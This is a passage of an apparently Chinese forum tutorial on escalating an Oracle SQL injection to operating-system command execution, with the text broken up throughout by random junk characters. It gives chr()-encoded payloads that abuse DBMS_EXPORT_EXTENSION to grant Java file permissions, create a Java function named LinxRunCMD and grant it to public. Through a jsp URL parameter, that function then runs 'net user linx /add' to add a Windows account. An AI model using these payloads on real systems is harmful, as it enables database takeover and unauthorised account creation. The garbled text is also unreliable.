chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||
! s4 F( |! z. c; k4 p' ~( x1 Bchr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||
( Y$ N0 D) d/ r$ a& |7 B3 xchr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||1 w1 p+ ]0 y% p* D+ \( m
chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)6 n  m8 z& F0 n! o: x  U( l
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual) i) M" s3 R  C  Q. R2 f
- S( m0 U. s( l! d7 O/ x
)8 v- C1 `/ S* `+ G8 n3 V' E
- c3 Y, o  [' L, I+ u0 R$ L) t( }
------------------------------0 x  B3 U% Q( ~

, h2 F6 F& R# F4 l) d9 L2 A; j: V5 z, r2.赋Java权限
$ j; L; j% \( X$ n: Q3 D0 T/xxx.jsp?id=1 and chr(49)<>chr(50)||(' t) L0 H) u1 w$ b' w& V; _
8 l, G; [; }) L+ {# o2 u! e
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
/ U5 x. {8 P$ h5 |. nchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||+ K2 [! Q3 `- G- f
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||; }( K2 ^& z- o: B3 M8 B
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||+ @. F! c. O% d2 c% e
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||
; X( ^) ^3 |( P& e$ a7 tchr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||0 g- J4 j0 t2 w
chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||
. U: @: E* A3 S; J) j4 w6 \chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||
" t6 `( |6 e5 f: ?( T1 W  Tchr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||
7 @+ i% ^  X; K, k8 uchr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
5 X0 a( p5 k4 |, X1 l# f) S7 s8 B9 D,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
+ z( Q: ]# K  W" q' W/ t0 f& K/ P! }* e2 n( f: a
)" k0 J1 ]) X: c6 Z5 `& E

& X! C+ P2 p  `readfile函数的ascii版就不写了,见谅。
$ f! U% D- r8 _' t4 `6 O" m6 y  t( c, X
  v/ E' W$ R0 s. @' x6 t6 I3.创建函数
5 U2 R, s8 p; p4 n9 }) A3 l/ h& z- b' Z1 A$ j8 T3 Y7 N* {- w; W! v
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
# J9 @3 w, S- `( S  E% b' R  V7 K6 u" |chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||8 r3 J$ q: n  t
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
  I3 e: U+ K1 u6 _% |$ d5 fchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
7 C! Z3 p+ G) K5 kchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||
3 t; Z* S  s  Pchr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||) |- I: S% `7 w. S% d4 L
chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||
3 `0 ]4 C: y: d" z# M1 z1 rchr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||5 C- |4 ?& d5 Q% A
chr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||
& t5 D& T' y7 T$ W; _! Echr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||8 F  t# O( f6 w2 c1 N) A" O0 A  i
chr(59)||chr(45)||chr(45)8 `/ B; W9 |$ h9 U7 I
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual: R4 q6 ^# Q  y7 [( u- T; j

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5 i' m' M& `# K) h; [) g1 x1 V# |$ e3 z0 U. l, A/ |# d9 M( c; U
4.赋public执行函数的权限
" T+ [0 U$ |; u& T/ Q6 L4 [) o& A. }' g( w1 [5 h+ A3 c! N" s* W
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
; x' D7 W% @* y% f3 u: @$ gchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||/ x6 I9 C" R' K8 A4 e. G- d0 a
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
0 l3 [+ j4 V' u9 l: }chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||( }% W5 N* S8 C& |
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||
3 w0 \$ \' [, z3 T( ~) a5 Echr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||9 C& X3 E; k3 Q8 ]& y* |
chr(59)||chr(45)||chr(45)7 o  m& D8 R7 u
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual6 S6 ?: @. A" T# _
+ Y! I8 L" k) @& b
3 {% J6 d) `! u$ C  z1 ]- a3 h

: ?; i) s- E/ Y3 p! o9 H; K, L5.执行命令:' E# M. ~# \9 K8 F) E0 h
, d8 g9 F* f' P; Z- H: V8 u
/xxx.jsp?id=1 and chr(49)<>chr(32)||(/ X' C0 W% y7 |/ O! |( V
select sys.LinxRunCMD('cmd /c net user linx /add') from dual3 E" M( m4 f5 o) f" b
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/xxx.jsp?id=1 and chr(49)<>chr(32)||(% v) z- U4 E* Z8 c% ^" A
select sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual- O: U$ v/ ?$ E1 i* C8 u2 Y
)
% E) [0 a3 P: J0 p




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